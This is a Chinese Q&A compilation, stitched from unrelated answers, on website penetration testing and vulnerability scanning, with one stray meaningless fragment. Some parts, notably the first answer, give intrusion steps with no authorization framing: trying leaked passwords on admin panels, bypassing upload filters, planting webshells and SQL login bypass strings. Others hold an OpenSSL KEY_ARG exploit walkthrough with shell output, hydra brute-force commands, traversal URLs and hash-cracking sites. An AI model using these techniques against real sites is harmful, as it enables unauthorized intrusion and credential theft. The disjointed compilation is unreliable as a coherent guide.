① 如何對網站進行漏洞掃描及滲透測試
注冊一個賬號,看下上傳點,等等之類的。
用google找下注入點,格式是
Site:XXX.com inurl:asp|php|aspx|jsp
最好不要帶 www,因為不帶的話可以檢測二級域名。
大家都知道滲透測試就是為了證明網路防禦按照預期計劃正常運行而提供的一種機制,而且夠獨立地檢查你的網路策略,一起來看看網站入侵滲透測試的正確知識吧。
簡單枚舉一些滲透網站一些基本常見步驟:
一 、信息收集
要檢測一個站首先應先收集信息如whois信息、網站真實IP、旁註、C段網站、伺服器系統版本、容器版本、程序版本、資料庫類型、二級域名、防火牆、維護者信息有哪些等等
二、收集目標站注冊人郵箱
1.用社工庫里看看有沒有泄露密碼,然後嘗試用泄露的密碼進行登錄後台。2.用郵箱做關鍵詞,丟進搜索引擎。3.利用搜索到的關聯信息找出其他郵進而得到常用社交賬號。4.社工找出社交賬號,裡面或許會找出管理員設置密碼的習慣 。5.利用已有信息生成專用字典。6.觀察管理員常逛哪些非大眾性網站,看看有什麼東西
三、判斷出網站的CMS
1:查找網上已曝光的程序漏洞並對其滲透2:如果開源,還能下載相對應的源碼進行代碼審計。
3.搜索敏感文件、目錄掃描
四、常見的網站伺服器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
五、注入點及漏洞
1.手動測試查看有哪些漏洞
2.看其是否有注入點
3.使用工具及漏洞測試平台測試這個有哪些漏洞可利用
六、如何手工快速判斷目標站是windows還是linux伺服器?
Linux大小寫敏感,windows大小寫不敏感。
七、如何突破上傳檢測?
1、寬字元注入
2、hex編碼繞過
3、檢測繞過
4、截斷繞過
八、若查看到編輯器
應查看編輯器的名稱版本,然後搜索公開的漏洞
九、上傳大馬後訪問亂碼
瀏覽器中改編碼。
十、審查上傳點的元素
有些站點的上傳文件類型的限制是在前端實現的,這時只要增加上傳類型就能突破限制了。
掃目錄,看編輯器和Fckeditor,看下敏感目錄,有沒有目錄遍及,
查下是iis6,iis5.iis7,這些都有不同的利用方法
Iis6解析漏洞
Iis5遠程溢出,
Iis7畸形解析
Phpmyadmin
萬能密碼:』or』='or』等等
等等。
每個站都有每個站的不同利用方法,自己滲透多點站可以多總結點經驗。
還有用google掃後台都是可以的。
② 比較好的web安全掃描工具有哪些
隨著網站業務所承載內容的日益增多且重要性日益增強,網站本身的價值也越來越大,隨之由網站漏洞帶來的安全性問題也愈發嚴峻。新開通網站、新增專欄的准入質量評估,網站系統日常運行狀況的檢查預防和風險掌控,這些已成為各行業每年安全大檢查中的關鍵要素。作為具體落實定期檢查工作的安全人員,也急需選擇一款優秀的網站掃描產品進行高效徹底的Web脆弱性評估檢查,而如何選擇一款真正實用的產品成為一個比較糾結的難題。
常見Web掃描方案的優劣勢
目前常見的支持Web掃描解決方案的產品有很多,大家比較熟悉的有集成Web掃描模塊的多合一系統掃描器,網上可免費下載的開源掃描器軟體以及近幾年剛嶄露頭角的獨立Web掃描器產品等,都可以進行一定程度的Web安全掃描和漏洞發現。那麼面對如此琳琅滿目的選擇時,大家如何細致區分辨識其差異,就需嚴格立足於實際需要,最終做出最佳的判斷。
多合一的系統掃描器,通常會集主機掃描、配置核查、Web掃描及弱口令掃描於一身,是一款強大全面的多功能產品。但多合一的高度封裝導致其在進行安全掃描時,除不能分配全部計算資源在Web掃描方面,掃描引擎自身還要兼顧到全方位的權衡與調優。反觀目標Web應用呈現的種類多樣性、規模龐大性和運行特殊性,在面對動輒上萬、十萬甚至百萬級別網頁數量的網站時,這種多合一產品就表現得差強人意,使用起來有種牛拉火車的感覺;同時,高效執行掃描評估就必須具備高並發的網頁鏈接爬蟲識別和Web插件交互邏輯判斷能力,這一現實的沖突導致多合一掃描器在Web掃描及性能體驗方面效果平平,優勢不突出。
網上開源的Web掃描器軟體,盡管完全免費並可以發現一些基本的漏洞信息,但其在第一時間發現新爆Web漏洞和漏洞趨勢跟蹤分析、修補方面,完全不具備後期支撐能力。而且在人性化設計及低學習門檻方面也存在太多先天的不足,其性能與穩定性更是與商業軟體相差甚遠。
面對綜上同類產品,困惑於Web掃描場景需求種種局限的我們,很欣喜地看到了近幾年聲名鵲起的Web掃描器產品。它作為一款自動化評估類工具,依據制定的策略對Web應用系統進行URL深度發現並全面掃描,尋找出Web應用真實存在的安全漏洞,如跨站點腳本、SQL注入,命令執行、目錄遍歷和不安全的伺服器配置。Web掃描器產品可以通過主動生成統計分析報告來幫助我們正確了解Web應用漏洞的詳細分布、數量和風險優先順序,並對發現的安全漏洞提出相應有力的改進意見供後續修補參考,是幫助我們高效徹底地進行Web脆弱性評估檢查的堅實利器。
Web掃描器的三個誤區
針對現有市面上諸多品牌的Web掃描器,大家在評價它們孰優孰劣時時常過於片面極端,主要表現為三個認識誤區。
誤區1:多就是好!
認為漏洞庫條目多,檢查出來的漏洞多就是好。Web掃描器面對龐大繁多、千差萬別的應用系統,為提升檢測性能,多採用高效率的Web通用插件,以一掃多,其不再局限於某個專門應用系統,深層次聚合歸並,盡可能多地發現多種應用系統的同類漏洞。同時,對於掃描出來的非誤報漏洞,若同屬某一頁面不同參數所致的相同漏洞,歸納整理,讓最終呈現的漏洞報表簡約而不簡單,避免數量冗餘、雜亂無章。故若以毫無插件歸並能力,僅靠大量專門Web系統插件、羅列各類漏洞列表數量多來博取贊許的Web掃描器,其本質存在太多的不專業性。
誤區2:快就是好!
認為掃描速度快耗時短的就是好。網站規模日趨復雜,日常檢查時我們期待Web掃描器能有更高效率地完成掃描任務,這點無可厚非,但檢查的本質是要最大限度地提前發現足夠多的漏洞,並第一時間制定後續相應的修補計劃。故在面對同一目標站點時,Web掃描器若能在單位時間內檢測出來的有效存在漏洞數越多,這個快才是真的好。
誤區3:小就是好!
認為掃描過程中對目標業務影響小就是好!這句話本身也沒有問題,只要Web掃描器在執行掃描過程中,對目標系統負載響應和網路鏈路帶寬佔用,影響足夠小,也就是我們常說的「無損掃描」,它就具備了一款優秀Web掃描器應有的先決條件。但是,這必須是在能最大限度發現Web漏洞的前提下才能考慮的關鍵因素,脫離這個產品本質,就本末倒置了。
五個基本評優標准
那麼,評優一款Web掃描器,我們該從何處著手?具體的判斷標准有哪些呢?
全——識別種類繁多的Web應用,集成最全的Web通用插件,通過全面識別網站結構和內容,逐一判斷每一種漏洞可能性,換句話說,漏洞掃描的檢測率一定要高,漏報率務必低,最終才能輸出全面詳盡的掃描報告。這就要求其在Web應用識別方面,支持各類Web語言類型(php、asp、.net、html)、應用系統類型(門戶網站、電子政務、論壇、博客、網上銀行)、應用程序類型(IIS、Apache、Tomcat)、第三方組件類型(Struts2、WebLogic、wordPress)等;插件集成方面,支持國際標准漏洞分類OWASP TOP 10和WASC插件分類模板,允許自定義掃描插件模板,第一時間插件更新速度等。
准——較高的漏洞准確性是Web掃描器權威的象徵,可視化分析可助用戶准確定位漏洞、分析漏洞。而誤報是掃描類產品不能迴避的話題。Web掃描器通過通用插件與目標站點任一URL頁面進行邏輯交互,通過可視化的漏洞跟蹤技術,精準判斷和定位漏洞,並提供易讀易懂的詳細整改分析報告。除此之外,一款好的Web掃描器還要更具人性化,在漏洞發現後,允許掃描者進行手工、自動的漏洞批量驗證,進而雙重保障較高的准確性結果。
快——快速的掃描速度,才能在面對越來越大的網站規模,越發頻繁的網站檢查時游刃有餘,進度保障。一款快速的Web掃描器除了有強勁馬力的掃描引擎,高達百萬/天的掃描速度,還要具備彈性靈活的集群掃描能力,任意增添掃描節點,輕松應對可能苛刻的掃描周期時間要求。
穩——穩定可靠的運行過程,對目標環境近乎零影響的Web掃描器,才能在諸行業大面積投入使用,特別是一些對業務影響要求苛刻的行業會更受青睞,畢竟沒有人能夠接受一款評估類產品,會對目標造成額外的損傷。市面上現在已有一些Web掃描器產品,其通過周期探尋目標系統,網路鏈路,自身性能負載等機制,依據目標環境的負載動態變化而自動調節掃描參數,從而保障掃描過程的足夠穩定和幾乎零影響。此外,隨著網站規模,檢查范圍的不斷擴大,保證持續穩定的掃描執行和統計評估,盡量避免掃描進度的半途而廢,也提出了較高的可靠性運行要求。
易——人性化的界面配置,低成本的報表學習和強指導性修補建議。尤其是漏洞分布詳情和場景重現方面,市面上大多數Web掃描器的報表都需要專業安全人員的二次解讀後,普通的安全運維檢查人員才能看懂,才知道長達百頁報表給出的重要建議和下一步的具體修補措施,這無疑給使用者造成了較高的技術門檻,那麼如何解決此易讀、易用問題,就成為評定其優劣與否的一個重要指標。
總之,一款優秀的Web掃描器產品,它需要嚴格恪守五字核心方針,全、准、快、穩、易,做到全方位均衡,這樣才能做到基本優秀。同時,隨著網站檢查訴求的日益多元化,它若能附帶一些差異化特性,滿足大家不同場景的網站安全運維掃描要求,如網站基本信息搜集,漏洞全過程時間軸跟蹤,逐步可視化的漏洞驗證和場景重現,自動修補直通車等,定會大大增加該款掃描器的評優力度。
③ 解決Apache Tomcat Default Files的Nessus中危漏洞
【問題描述】
Nessus掃描出的Tomcat默認文件相關的中危漏洞,如下:
12085 - Apache Tomcat Default Files -
Synopsis
The remote web server contains default files.
Description
The default error page, default index page, example JSPs, and/or example servlets are installed on the remote Apache Tomcat server. These files should be removed as they may help an attacker uncover information about the remote Tomcat install or host itself.
See Also
https://wiki.apache.org/tomcat/FAQ/Miscellaneous#Q6
https://www.owasp.org/index.php/Securing_tomcat
Solution
Delete the default index page and remove the example JSP and servlets. Follow the Tomcat or OWASP instructions to replace or modify the default error page.
Risk Factor
Medium
CVSS v3.0 Base Score
7.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
CVSS Base Score
6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)
References
XREF CWE:20
XREF CWE:74
XREF CWE:79
XREF CWE:442
XREF CWE:629
XREF CWE:711
XREF CWE:712
XREF CWE:722
XREF CWE:725
XREF CWE:750
XREF CWE:751
XREF CWE:800
XREF CWE:801
XREF CWE:809
XREF CWE:811
XREF CWE:864
XREF CWE:900
XREF CWE:928
XREF CWE:931
XREF CWE:990
Plugin Information:
Published: 2004/03/02, Modified: 2018/01/30
Plugin Output
tcp/8983
The following default files were found :
/nessus-check/default-404-error-page.html
【問題分析】
原因是tomcat默認的404頁面帶了tomcat的版本號,被Nessus掃描工具認定為中危漏洞。只需將該頁面的tomcat版本號去除即可。
【解決方法】
參照 https://blog.csdn.net/damaolly/article/details/73927938
替換404頁面為自定義的404頁面,去除tomcat版本號即可。
1、在web.xml中增加error-page的配置
2、自定義solr_error_page.html頁面,頁面中不要存放tomcat版本號。
(2019-06-12 更新)由於Nessus掃描庫升級,規則變更,導致該自定義頁面solr_error_page.html又被掃描出來了,因此乾脆將該頁面修改為最簡模式,如下:
3、將自定義solr_error_page.html頁面放置在如下web應用目錄和ROOT下。
4、重啟tomcat服務方可生效。
④ 分析下面程序,給出運行結果
A B
(注意大A,大B)
⑤ 求可以掃描ip主機漏洞的軟體,附帶漏洞利用的更好,win7的
apache_openssl漏洞的利用及許可權的提升
apache_openssl漏洞的利用及許可權的提升
--nightcat
轉載請保持文章完整
第一部分:獲得shell.
在packetstorm玩了一段時間,遇到有openssl-too-open.tar.gz這個exploit.
現在看看軟體包的描述:
OpenSSL v0.9.6d and below remote exploit for Apache/mod_ssl servers which takes advantage of the KEY_ARG overflow. Tested against most major Linux distributions. Gives a remote nobody shell on Apache and remote root on other servers. Includes an OpenSSL vulnerability scanner which is more reliable than the RUS-CERT scanner and a detailed vulnerability analysis
這個描述說明這個exploit 是openssl v 0.9.6的key_arg的漏洞來達到溢出的目的。不過也要
注意apache/mod_ssl的版本信息。對於大多數的有這樣條件的都能溢出成功。取得一個id是
nobody shell,有些甚至是root的許可權。軟體包裡面有一個掃描器,exploit。
好象聽起來很誘人,down回來研究一下。
nightcat@nightcat$tar -zxvf openssl-too-open.tar.gz
nightcat@nightcat$cd openssl-too-open
Makefile README linux-x86.c main.c main.h scanner.c ssl2.c ssl2.h
習慣性的要讀一下軟體包的REAMDE文件。
nightcat@nightcat$ more README
得到一些有用的信息:
1.編譯的方法:
直接make就可以,之後就可以得到openssl-too-open和openssl-scanner
2.openssl-too-open的用法:
Usage: ./openssl-too-open [options] <host>
-a <arch> target architecture (default is 0x00)
-p <port> SSL port (default is 443)
-c <N> open N apache connections before sending the shellcode (default is 30)
-m <N> maximum number of open connections (default is 50)
-v verbose mode
Supported architectures:
0x00 - Gentoo (apache-1.3.24-r2)
0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
0x02 - Slackware 7.0 (apache-1.3.26)
0x03 - Slackware 8.1-stable (apache-1.3.26)
0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
0x0c - SuSE Linux 7.0 (apache-1.3.12)
0x0d - SuSE Linux 7.1 (apache-1.3.17)
0x0e - SuSE Linux 7.2 (apache-1.3.19)
0x0f - SuSE Linux 7.3 (apache-1.3.20)
0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
0x11 - SuSE Linux 8.0 (apache-1.3.23)
0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)
/****想成功,就要看準系統類型和apache版本號
*****如果是 0x07 - RedHat Linux 7.0 (apache-1.3.12-25):
*****./epenssl-too-open -a 0x07 ip .就應該可以啦!
****/
3.openssl-scanner的用法:
Usage: ./openssl-scanner [options] <host>
-i <inputfile> file with target hosts
-o <outputfile> output log
-a append to output log (requires -o)
-b check for big endian servers
-C scan the entire class C network the host belogs to
-d debug mode
-w N connection timeout in seconds
Examples: ./openssl-scanner -d 192.168.0.1
./openssl-scanner -i hosts -o my.log -w 5
./openssl-scanner -C 192.168.0.0
/****掃描一個c類的ip
*****./openssl-scanner -C 192.168.0.0
****/
4.一個實現例子:
$ ./openssl-scanner -C 192.168.0.0
: openssl-scanner : OpenSSL vulnerability scanner
by Solar Eclipse <[email protected]>
Opening 255 connections . . . . . . . . . . done
Waiting for all connections to finish . . . . . . . . . . . done
192.168.0.136: Vulnerable
$ nc 192.168.0.1 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 17 Sep 2002 17:47:44 GMT
Server: Apache-AdvancedExtranetServer/1.3.20 (Mandrake Linux/3mdk) mod_ssl/2.8.4 OpenSSL/0.9.6b
Connection: close
Content-Type: text/html
./openssl-too-open -a 0x14 192.168.0.1
: openssl-too-open : OpenSSL remote exploit
by Solar Eclipse <[email protected]>
: Opening 30 connections
Establishing SSL connections
: Using the OpenSSL info leak to retrieve the addresses
ssl0 : 0x810b3a0
ssl1 : 0x810b360
ssl2 : 0x810b4e0
* Addresses don't match.
: Opening 40 connections
Establishing SSL connections
: Using the OpenSSL info leak to retrieve the addresses
ssl0 : 0x8103830
ssl1 : 0x80fd668
ssl2 : 0x80fd668
* Addresses don't match.
: Opening 50 connections
Establishing SSL connections
: Using the OpenSSL info leak to retrieve the addresses
ssl0 : 0x8103830
ssl1 : 0x8103830
ssl2 : 0x8103830
: Sending shellcode
ciphers: 0x8103830 start_addr: 0x8103770 SHELLCODE_OFS: 184
Reading tag
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...
bash: no job control in this shell
bash-2.05$
bash-2.05$ uname -a; id; w;
Linux localhost.localdomain 2.4.8-26mdk #1 Sun Sep 23 17:06:39 CEST 2001 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
1:49pm up 4:26, 1 user, load average: 0.04, 0.07, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
bash-2.05$
整個README 文件已經說的很明白了:
現在是總結一下實現的過程:
1.通過openssl-scanner來掃描一個c段的ip,找到有漏洞的主機,
2.用nc的方法查找banner得到三個目標內容:apache的版本號,openssl的版本號,操作系統版本3.在通過openssl-too-open來進行溢出得到一個shell.
⑥ 如何對網站進行滲透測試和漏洞掃描
零、前言
滲透測試在未得到被測試方授權之前依據某些地區法律規定是違法行為。 這里我們提供的所有滲透測試方法均為(假設為)合法的評估服務,也就是通常所說的道德黑客行為(Ethical hacking),因此我們這里的所有讀者應當都是Ethical Hackers,如果您還不是,那麼我希望您到過這里後會成為他們中的一員 ;)
這里,我還想對大家說一些話:滲透測試重在實踐,您需要一顆永不言敗的心和一個有著活躍思維的大腦。不是說您將這一份文檔COPY到您網站上或者保存到本地電腦您就會了,即使您將它列印出來沾點辣椒醬吃了也不行,您一定要根據文檔一步一步練習才行。而且測試重在用腦,千萬別拿上一兩個本文中提到的工具一陣亂搞,我敢保證:互聯網的安全不為因為這樣而更安全。祝您好運。。。
一、簡介
什麼叫滲透測試?
滲透測試最簡單直接的解釋就是:完全站在攻擊者角度對目標系統進行的安全性測試過程。
進行滲透測試的目的?
了解當前系統的安全性、了解攻擊者可能利用的途徑。它能夠讓管理人員非常直觀的了解當前系統所面臨的問題。為什麼說叫直觀呢?就像Mitnick書裡面提到的那樣,安全管理(在這里我們改一下,改成安全評估工作)需要做到面面俱到才算成功,而一位黑客(滲透測試)只要能通過一點進入系統進行破壞,他就算是很成功的了。
滲透測試是否等同於風險評估?
不是,你可以暫時理解成滲透測試屬於風險評估的一部分。事實上,風險評估遠比滲透測試復雜的多,它除滲透測試外還要加上資產識別,風險分析,除此之外,也還包括了人工審查以及後期的優化部分(可選)。
已經進行了安全審查,還需要滲透測試嗎?
如果我對您說:嘿,中國的現有太空理論技術通過計算機演算已經能夠證明中國完全有能力實現宇航員太空漫步了,沒必要再發射神8了。您能接受嗎?
滲透測試是否就是黑盒測試?
否,很多技術人員對這個問題都存在這個錯誤的理解。滲透測試不只是要模擬外部黑客的入侵,同時,防止內部人員的有意識(無意識)攻擊也是很有必要的。這時,安全測試人員可以被告之包括代碼片段來內的有關於系統的一些信息。這時,它就滿足灰盒甚至白盒測試。
滲透測試涉及哪些內容?
技術層面主要包括網路設備,主機,資料庫,應用系統。另外可以考慮加入社會工程學(入侵的藝術/THE ART OF INTRUSION)。
滲透測試有哪些不足之處?
主要是投入高,風險高。而且必須是專業的Ethical Hackers才能相信輸出的最終結果。
你說的那麼好,為什麼滲透測試工作在中國開展的不是很火熱呢?
我只能說:會的,一定會的。滲透測試的關鍵在於沒法證明你的測試結果就是完善的。用戶不知道花了錢證明了系統有問題以後,自己的安全等級到了一個什麼程序。但是很顯然,用戶是相信一個專業且經驗豐富的安全團隊的,這個在中國問題比較嚴重。在我接觸了一些大型的安全公司進行的一些滲透測試過程來看,測試人員的水平是對不住開的那些價格的,而且從測試過程到結果報表上來看也是不負責的。我估計在三年以後,這種情況會有所改觀,到時一方面安全人員的技術力量有很大程度的改觀,另一方面各企業對滲透測試會有一個比較深刻的理解,也會將其做為一種IT審計的方式加入到開發流程中去。滲透測試的專業化、商業化會越來越成熟。
二、制定實施方案
實施方案應當由測試方與客戶之間進行溝通協商。一開始測試方提供一份簡單的問卷調查了解客戶對測試的基本接收情況。內容包括但不限於如下:
目標系統介紹、重點保護對象及特性。
是否允許數據破壞?
是否允許阻斷業務正常運行?
測試之前是否應當知會相關部門介面人?
接入方式?外網和內網?
測試是發現問題就算成功,還是盡可能的發現多的問題?
滲透過程是否需要考慮社會工程?
。。。
在得到客戶反饋後,由測試方書寫實施方案初稿並提交給客戶,由客戶進行審核。在審核完成後,客戶應當對測試方進行書面委託授權。這里,兩部分文檔分別應當包含如下內容:
實施方案部分:
...
書面委託授權部分:
...
三、具體操作過程
1、信息收集過程
網路信息收集:
在這一部還不會直接對被測目標進行掃描,應當先從網路上搜索一些相關信息,包括Google Hacking, Whois查詢, DNS等信息(如果考慮進行社會工程學的話,這里還可以相應從郵件列表/新聞組中獲取目標系統中一些邊緣信息如內部員工帳號組成,身份識別方式,郵件聯系地址等)。
1.使用whois查詢目標域名的DNS伺服器
2.nslookup
>set type=all
><domain>
>server <ns server>
>set q=all
>ls -d <domain>
涉及的工具包括:Google,Demon,webhosting.info,Apollo,Athena,GHDB.XML,netcraft,seologs除此之外,我想特別提醒一下使用Googlebot/2.1繞過一些文件的獲取限制。
Google hacking 中常用的一些語法描述
1.搜索指定站點關鍵字site。你可以搜索具體的站點如site:www.nosec.org。使用site:nosec.org可以搜索該域名下的所有子域名的頁面。甚至可以使用site:org.cn來搜索中國政府部門的網站。
2.搜索在URL網址中的關鍵字inurl。比如你想搜索帶參數的站點,你可以嘗試用inurl:asp?id=
3.搜索在網頁標題中的關鍵字intitle。如果你想搜索一些登陸後台,你可以嘗試使用intitle:"admin login"
目標系統信息收集:
通過上面一步,我們應當可以簡單的描繪出目標系統的網路結構,如公司網路所在區域,子公司IP地址分布,VPN接入地址等。這里特別要注意一些比較偏門的HOST名稱地址,如一些backup開頭或者temp開關的域名很可能就是一台備份伺服器,其安全性很可能做的不夠。
從獲取的地址列表中進行系統判斷,了解其組織架構及操作系統使用情況。最常用的方法的是目標所有IP網段掃描。
埠/服務信息收集:
這一部分已經可以開始直接的掃描操作,涉及的工具包括:nmap,thc-amap
1.我最常使用的參數
nmap -sS -p1-10000 -n -P0 -oX filename.xml --open -T5 <ip address>
應用信息收集:httprint,SIPSCAN,smap
這里有必要將SNMP拿出來單獨說一下,因為目前許多運營商、大型企業內部網路的維護台通過SNMP進行數據傳輸,大部分情況是使用了默認口令的,撐死改了private口令。這樣,攻擊者可以通過它收集到很多有效信息。snmp-gui,HiliSoft MIB Browser,mibsearch,net-snmp都是一些很好的資源。
2、漏洞掃描
這一步主要針對具體系統目標進行。如通過第一步的信息收集,已經得到了目標系統的IP地址分布及對應的域名,並且我們已經通過一些分析過濾出少許的幾個攻擊目標,這時,我們就可以針對它們進行有針對性的漏洞掃描。這里有幾個方面可以進行:
針對系統層面的工具有:ISS, Nessus, SSS, Retina, 天鏡, 極光
針對WEB應用層面的工具有:AppScan, Acunetix Web Vulnerability Scanner, WebInspect, Nstalker
針對資料庫的工具有:ShadowDatabaseScanner, NGSSQuirreL
針對VOIP方面的工具有:PROTOS c07 sip(在測試中直接用這個工具轟等於找死)以及c07 h225, Sivus, sipsak等。
事實上,每個滲透測試團隊或多或少都會有自己的測試工具包,在漏洞掃描這一塊針對具體應用的工具也比較個性化。
3、漏洞利用
有時候,通過服務/應用掃描後,我們可以跳過漏洞掃描部分,直接到漏洞利用。因為很多情況下我們根據目標服務/應用的版本就可以到一些安全網站上獲取針對該目標系統的漏洞利用代碼,如milw0rm, securityfocus,packetstormsecurity等網站,上面都對應有搜索模塊。實在沒有,我們也可以嘗試在GOOGLE上搜索「應用名稱 exploit」、「應用名稱 vulnerability」等關鍵字。
當然,大部分情況下你都可以不這么麻煩,網路中有一些工具可供我們使用,最著名的當屬metasploit了,它是一個開源免費的漏洞利用攻擊平台。其他的多說無益,您就看它從榜上無名到沖進前五(top 100)這一點來說,也能大概了解到它的威力了。除此之外,如果您(您們公司)有足夠的moeny用於購買商用軟體的話,CORE IMPACT是相當值得考慮的,雖然說價格很高,但是它卻是被業界公認在滲透測試方面的泰山北斗,基本上測試全自動。如果您覺得還是接受不了,那麼您可以去購買CANVAS,據說有不少0DAY,不過它跟metasploit一樣,是需要手動進行測試的。最後還有一個需要提及一下的Exploitation_Framework,它相當於一個漏洞利用代碼管理工具,方便進行不同語言,不同平台的利用代碼收集,把它也放在這里是因為它本身也維護了一個exploit庫,大家參考著也能使用。
上面提到的是針對系統進行的,在針對WEB方面,注入工具有NBSI, OWASP SQLiX, SQL Power Injector, sqlDumper, sqlninja, sqlmap, Sqlbftools, priamos, ISR-sqlget***等等。
在針對資料庫方面的工具有:
資料庫 工具列表 Oracle(1521埠): 目前主要存在以下方面的安全問題:
1、TNS監聽程序攻擊(sid信息泄露,停止服務等)
2、默認賬號(default password list)
3、SQL INJECTION(這個與傳統的意思還不太一樣)
4、緩沖區溢出,現在比較少了。 thc-orakel, tnscmd, oscanner, Getsids, TNSLSNR, lsnrcheck, OAT, Checkpwd, orabf MS Sql Server(1433、1434埠) Mysql(3306埠) DB2(523、50000、50001、50002、50003埠) db2utils Informix(1526、1528埠)
在針對Web伺服器方面的工具有:
WEB伺服器 工具列表 IIS IISPUTSCANNER Tomcat 想起/admin和/manager管理目錄了嗎?另外,目錄列表也是Tomcat伺服器中最常見的問題。比如5.*版本中的http://127.0.0.1/;index.jsp
http://www.example.com/foo/"../manager/html
http://www.example.com:8080/examples/servlets/servlet/CookieExample?cookiename=HAHA&cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B
http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKER&cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B JBOSS jboss的漏洞很少,老版本中8083埠有%符號的漏洞:
GET %. HTTP/1.0可以獲取物理路徑信息,
GET %server.policy HTTP/1.0可以獲取安全策略配置文檔。
你也可以直接訪問GET %org/xxx/lib.class來獲取編譯好的java程序,再使用一些反編譯工具還原源代碼。 Apache Resin http://victim/C:%5C/
http://victim/resin-doc/viewfile/?file=index.jsp
http://victim/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml
http://victim/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-INF/classes/com/webapp/app/target.class
http://victim/[path]/[device].[extension]
http://victim/%20.."web-inf
http://victim/%20
http://victim/[path]/%20.xtp WebLogic
Web安全測試主要圍繞幾塊進行:
Information Gathering:也就是一般的信息泄漏,包括異常情況下的路徑泄漏、文件歸檔查找等
Business logic testing:業務邏輯處理攻擊,很多情況下用於進行業務繞過或者欺騙等等
Authentication Testing:有無驗證碼、有無次數限制等,總之就是看能不能暴力破解或者說容不容易通過認證,比較直接的就是「默認口令」或者弱口令了
Session Management Testing:會話管理攻擊在COOKIE攜帶認證信息時最有效
Data Validation Testing:數據驗證最好理解了,就是SQL Injection和Cross Site Script等等
目前網上能夠找到許多能夠用於進行Web測試的工具,根據不同的功能分主要有:
枚舉(Enumeration): DirBuster, http-dir-enum, wget
基於代理測試類工具:paros, webscarab, Burp Suite
針對WebService測試的部分有一些尚不是很成熟的工具,如:wsbang,wschess,wsmap,wsdigger,wsfuzzer
這一部分值得一提的是,很多滲透測試團隊都有著自己的測試工具甚至是0DAY代碼,最常見的是SQL注入工具,現網開發的注入工具(如NBSI等)目前都是針對中小企業或者是個人站點/資料庫進行的,針對大型目標系統使用的一些相對比較偏門的資料庫系統(如INFORMIX,DB2)等,基本上還不涉及或者說還不夠深入。這時各滲透測試團隊就開發了滿足自身使用習慣的測試工具。
在針對無線環境的攻擊有:WifiZoo
4、許可權提升
在前面的一些工作中,你或許已經得到了一些控制許可權,但是對於進一步攻擊來說卻還是不夠。例如:你可能很容易的能夠獲取Oracle資料庫的訪問許可權,或者是得到了UNIX(AIX,HP-UX,SUNOS)的一個基本賬號許可權,但是當你想進行進一步的滲透測試的時候問題就來了。你發現你沒有足夠的許可權打開一些密碼存儲文件、你沒有辦法安裝一個SNIFFER、你甚至沒有許可權執行一些很基本的命令。這時候你自然而然的就會想到許可權提升這個途徑了。
目前一些企業對於補丁管理是存在很大一部分問題的,他們可能壓根就沒有想過對一些伺服器或者應用進行補丁更新,或者是延時更新。這時候就是滲透測試人員的好機會了。經驗之談:有一般許可權的Oracle賬號或者AIX賬號基本上等於root,因為這就是現實生活。
5、密碼破解
有時候,目標系統任何方面的配置都是無懈可擊的,但是並不是說就完全沒辦法進入。最簡單的說,一個缺少密碼完全策略的論證系統就等於你安裝了一個不能關閉的防盜門。很多情況下,一些安全技術研究人員對此不屑一顧,但是無數次的安全事故結果證明,往往破壞力最大的攻擊起源於最小的弱點,例如弱口令、目錄列表、SQL注入繞過論證等等。所以說,對於一些專門的安全技術研究人員來說,這一塊意義不大,但是對於一個ethical hacker來說,這一步驟是有必要而且絕大部分情況下是必須的。;)
目前比較好的網路密碼暴力破解工具有:thc-hydra,brutus
>hydra.exe -L users.txt -P passwords.txt -o test.txt -s 2121 www.heimian.com ftp
目前網路中有一種資源被利用的很廣泛,那就是rainbow table技術,說白了也就是一個HASH對應表,有一些網站提供了該種服務,對外宣稱存儲空間大於多少G,像rainbowcrack更是對外宣稱其數據量已經大於1.3T。
針對此種方式對外提供在線服務的有:
網址 描述 rainbowcrack 裡面對應了多種加密演算法的HASH。 http://gdataonline.com/seekhash.php http://www.milw0rm.com/cracker/info.php http://www.hashchecker.com/?_sls=search_hash http://bokehman.com/cracker/ http://passcracking.ru/ http://www.md5.org.cn http://www.cmd5.com/ 數據量全球第一,如果本站無法破解,那麼你只能去拜春哥...
當然,有些單機破解軟體還是必不可少的:Ophcrack,rainbowcrack(國人開發,贊一個),cain,L0phtCrack(破解Windows密碼),John the Ripper(破解UNIX/LINUX)密碼,當然,還少不了一個FindPass...
針對網路設備的一些默認帳號,你可以查詢http://www.routerpasswords.com/和http://www.phenoelit-us.org/dpl/dpl.html
在滲透測試過程中,一旦有機會接觸一些OFFICE文檔,且被加了密的話,那麼,rixler是您馬上要去的地方,他們提供的OFFICE密碼套件能在瞬間打開OFFICE文檔(2007中我沒有試過,大家有機會測試的話請給我發一份測試結果說明,謝謝)。看來微軟有理由來個補丁什麼的了。對於企業來說,您可以考慮使用鐵卷或者RMS了。
6、日誌清除
It is not necessary actually.
7、進一步滲透
